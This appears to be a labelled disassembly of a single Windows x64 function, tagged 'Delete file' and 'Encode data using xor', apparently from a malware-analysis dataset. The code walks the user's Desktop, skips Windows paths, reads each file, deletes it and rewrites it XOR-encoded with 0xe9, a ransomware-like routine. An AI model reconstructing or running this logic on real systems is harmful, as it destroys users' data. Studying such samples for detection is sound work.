Function at 0x140001ba0
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x480
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rsp + 0x478], rax
xor esi, esi
mov dword [rsp + 0x38], esi
mov qword [r11 - 0x3d8], rsi
lea r8, str.USERPROFILE
lea rdx, [r11 - 0x248]
lea rcx, [r11 - 0x3d8]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x14000289c
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x260]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400097d0]
mov qword [rsp + 0x260], rax
lea rax, [0x140009890]
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x38], 8
xor r8d, r8d
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0x260]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64____ptr64]
nop
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rsp + rcx + 0x260], r14
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x25c], edx
lea rcx, [rsp + 0x278]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rsp + 0x278], rax
mov qword [rsp + 0x2e0], rsi
mov dword [rsp + 0x2e8], esi
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0x270]
call fcn.140005840
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov r8d, 7
mov qword [rsp + 0x58], r8
mov word [rsp + 0x40], si
mov dword [rsp + 0x38], 0xc
xor eax, eax
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rax
mov ecx, esi
mov r9d, dword [rsp + 0x2e8]
mov eax, r9d
and al, 0x22
cmp al, 2
je 0x140001d5d
mov rax, qword [rsp + 0x2b8]
mov rdx, qword [rax]
test rdx, rdx
je 0x140001d5d
mov rax, qword [rsp + 0x298]
mov r9, qword [rax]
cmp rdx, qword [rsp + 0x2e0]
cmovb rdx, qword [rsp + 0x2e0]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x140001da3
test r9b, 4
jne 0x140001dd7
mov rax, qword [rsp + 0x2b0]
mov r10, qword [rax]
mov rdx, rsi
test r10, r10
je 0x140001d9b
mov rax, qword [rsp + 0x290]
mov r9, qword [rax]
mov rax, qword [rsp + 0x2c8]
movsxd rcx, dword [rax]
lea rdx, [r10 + rcx*2]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x140001da3
mov r9, qword [rsp + 0xc8]
test rcx, rcx
je 0x140001dd7
lea rcx, [rsp + 0x40]
cmp rdx, r8
ja 0x140001dcd
mov qword [rsp + 0x50], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rsp + rbx + 0x40], si
jmp 0x140001dd2
call fcn.1400065b0
mov r8, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
mov rax, r8
sub rax, rdi
cmp rax, 8
jb 0x140001e22
lea rax, [rdi + 8]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp r8, 8
cmovae rbx, qword [rsp + 0x40]
lea rcx, [rbx + rdi*2]
mov r8d, 0x10
lea rdx, str.Desktop
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x10], si
lea rax, [rsp + 0x40]
jmp 0x140001e41
mov qword [rsp + 0x20], 8
lea r9, str.Desktop
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140006710
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x128], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140001eae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ea9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ea9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000793c
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], di
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0xe0]
call fcn.140001360
nop
mov r12, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x38], rcx
mov ebx, 0xf
mov qword [rsp + 0x60], r12
cmp r12, rcx
je 0x140002779
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], 7
mov ecx, 0x20
call fcn.140007900
mov r13, rax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x108], 0xa
mov qword [rsp + 0x110], rbx
movups xmm0, xmmword [str.C:Windows]
movups xmmword [rax], xmm0
mov eax, dword [0x140009760]
mov dword [r13 + 0x10], eax
mov word [r13 + 0x14], di
mov r10, r12
mov rbx, qword [r12 + 0x18]
cmp rbx, 8
jb 0x140001f87
mov r10, qword [r12]
mov rax, qword [r12 + 0x10]
cmp rax, 0xa
jb 0x140001fc3
add rax, 0xfffffffffffffff7
lea r11, [r10 + rax*2]
mov rax, r10
nop dword [rax]
mov rcx, r11
sub rcx, rax
sar rcx, 1
je 0x140001fc3
movzx edx, word [r13]
cmp word [rax], dx
je 0x140002127
add rax, 2
sub rcx, 1
jne 0x140001fb0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x140]
call sub.VCRUNTIME140.dll_memset
mov rdx, r12
cmp rbx, 8
jb 0x140001fe5
mov rdx, qword [r12]
lea rcx, [rsp + 0x140]
call fcn.140004850
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xb0], rdi
mov word [rsp + 0xb8], 1
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsp + rcx + 0x188]
mov qword [rsp + 0x40], rax
test rax, rax
sete byte [rsp + 0x48]
mov byte [rsp + 0x49], 0
movdqu xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rdi
lea rcx, [rsp + 0xc8]
mov qword [rsp + 0xa0], rcx
movaps xmm0, xmmword [rsp + 0xb0]
movdqa xmmword [rsp + 0x80], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x70], xmm1
movzx r14d, byte [rsp + 0x79]
mov rbx, qword [rsp + 0x70]
movzx r15d, byte [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
test rax, rax
jne 0x140002730
movzx edi, byte [rsp + 0x78]
test r15b, r15b
jne 0x1400020c4
test rsi, rsi
je 0x1400020bf
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x1400020c1
xor esi, esi
mov r15b, 1
test rbx, rbx
jne 0x140002189
test rsi, rsi
je 0x140002192
test dil, dil
jne 0x1400020fa
test rbx, rbx
je 0x1400026f5
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x1400026f5
movzx r14d, al
xor edi, edi
mov byte [rsp + 0x30], r14b
mov rax, qword [rsp + 0xd0]
cmp rax, qword [rsp + 0xd8]
je 0x1400026fe
mov byte [rax], r14b
inc qword [rsp + 0xd0]
jmp 0x140002718
test rax, rax
je 0x140001fc3
mov r8d, 0xa
mov rdx, r13
mov r9, rax
sub r9, r13
nop
movzx ecx, word [rdx]
cmp word [rdx + r9], cx
jne 0x140002180
add rdx, 2
sub r8, 1
jne 0x140002140
sub rax, r10
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x140001fc3
lea edx, [r8 + 0x20]
mov rcx, r13
call fcn.14000793c
nop
mov ebx, 0xf
mov rcx, qword [rsp + 0x38]
jmp 0x140002770
add rax, 2
jmp 0x140001fa0
test rsi, rsi
je 0x1400020d6
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xc8]
sub rax, rcx
cmp rax, 0x7ffffffe
jbe 0x1400022fc
test rcx, rcx
je 0x140002203
mov rdx, qword [rsp + 0xd8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400025e6
call fcn.14000793c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc8], xmm0
xor edi, edi
mov qword [rsp + 0xd8], rdi
jmp 0x140002205
xor edi, edi
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x140], rax
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x13c], edx
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x150], rsi
cmp qword [rsp + 0x1d0], 0
je 0x140002292
mov rax, qword [rsp + 0x168]
lea rcx, [rsp + 0x1c0]
cmp qword [rax], rcx
jne 0x140002292
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1d8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x188]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x1a0]
mov dword [rax], edx
cmp byte [rsp + 0x1cc], 0
je 0x1400022a9
lea rcx, [rsp + 0x150]
call fcn.140005440
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov ebx, 0xf
lea rdx, [rbx*2 + 2]
mov rcx, r13
call fcn.14000793c
nop
mov rcx, qword [rsp + 0x38]
lea r14, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
jmp 0x140002770
lea rcx, [rsp + 0x150]
call fcn.140005440
test rax, rax
jne 0x140002332
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x140]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [r12 + 0x10]
cmp qword [r12 + 0x18], 8
jb 0x14000234c
mov rcx, qword [r12]
lea r8, [rcx + rax*2]
mov rdx, rcx
jmp 0x140002353
lea r8, [r12 + rax*2]
mov rdx, r12
lea rcx, [rsp + 0x80]
call fcn.140005ab0
cmp qword [rax + 0x18], 0x10
jb 0x14000236a
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x1400023b9
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000793c
xor edi, edi
mov r9d, edi
mov rdx, qword [rsp + 0xc8]
cmp qword [rsp + 0xd0], rdx
je 0x1400023fa
mov r8d, edi
xor byte [r8 + rdx], 0xe9
inc r9d
lea r8, [r8 + 1]
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
sub rcx, rdx
movsxd rax, r9d
cmp rax, rcx
jb 0x1400023d3
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x360]
call sub.VCRUNTIME140.dll_memset
mov rdx, r12
cmp qword [r12 + 0x18], 8
jb 0x140002423
mov rdx, qword [r12]
mov rcx, rdx
jmp 0x140002426
mov rcx, r12
mov rax, qword [r12 + 0x10]
lea r8, [rcx + rax*2]
lea rcx, [rsp + 0x80]
call fcn.140005ab0
nop
cmp qword [rax + 0x18], 0x10
jb 0x140002447
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.1400039e0
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x14000249e
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002499
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000793c
mov qword [rsp + 0x90], rdi
mov ebx, 0xf
mov qword [rsp + 0x98], rbx
mov byte [rsp + 0x80], 0
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
sub r8, rdx
lea rcx, [rsp + 0x360]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
nop
mov rax, qword [rsp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x360], rax
mov rax, qword [rsp + 0x360]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x35c], edx
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x368], rsi
cmp qword [rsp + 0x3e8], 0
je 0x14000256a
mov rax, qword [rsp + 0x380]
lea rcx, [rsp + 0x3d8]
cmp qword [rax], rcx
jne 0x14000256a
mov rdx, qword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x3f0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x3a0]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x3b8]
mov dword [rax], edx
cmp byte [rsp + 0x3e4], 0
je 0x140002581
lea rcx, [rsp + 0x368]
call fcn.140005440
lea rcx, [rsp + 0x368]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x370]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x408]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x140002606
mov rdx, qword [rsp + 0xd8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000793c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rdi
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x140], rax
mov rax, qword [rsp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x13c], edx
mov qword [rsp + 0x150], rsi
cmp qword [rsp + 0x1d0], 0
je 0x14000268c
mov rax, qword [rsp + 0x168]
lea rcx, [rsp + 0x1c0]
cmp qword [rax], rcx
jne 0x14000268c
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1d8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x188]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rsp + 0x1a0]
mov dword [rax], edx
cmp byte [rsp + 0x1cc], 0
je 0x1400026a3
lea rcx, [rsp + 0x150]
call fcn.140005440
lea rcx, [rsp + 0x150]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x158]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rdx, [rbx*2 + 2]
mov rcx, r13
call fcn.14000793c
nop
mov rcx, qword [rsp + 0x38]
lea r14, vtable.std::basic_stringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
add r12, 0x20
jmp 0x140001f06
xor edi, edi
mov ebx, edi
jmp 0x1400020fc
lea r8, [rsp + 0x30]
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xc8]
call fcn.1400076c0
test rbx, rbx
je 0x14000274f
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x14000274f
mov byte [rsp + 0x78], 0
test rbx, rbx
je 0x14000274f
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x14000274f
movzx r14d, al
mov dil, 1
jmp 0x1400020a7
mov rbx, rdi
mov dil, 1
jmp 0x1400020a7
add r12, 0x20
jmp 0x140001f06
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov rcx, qword [rsp + 0xe0]
test rcx, rcx
je 0x1400027fa
mov rdx, qword [rsp + 0xe8]
call fcn.140006120
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xe0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000793c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rdi
mov rdx, qword [rsp + 0x130]
cmp rdx, 8
jb 0x140002846
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002840
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002840
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000793c
nop
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x260], r14
mov rax, qword [rsp + 0x260]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rsp + rcx + 0x25c], edx
lea rcx, [rsp + 0x278]
call fcn.140004f10
lea rcx, [rsp + 0x280]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rsp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x478]
xor rcx, rsp
call fcn.1400078e0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret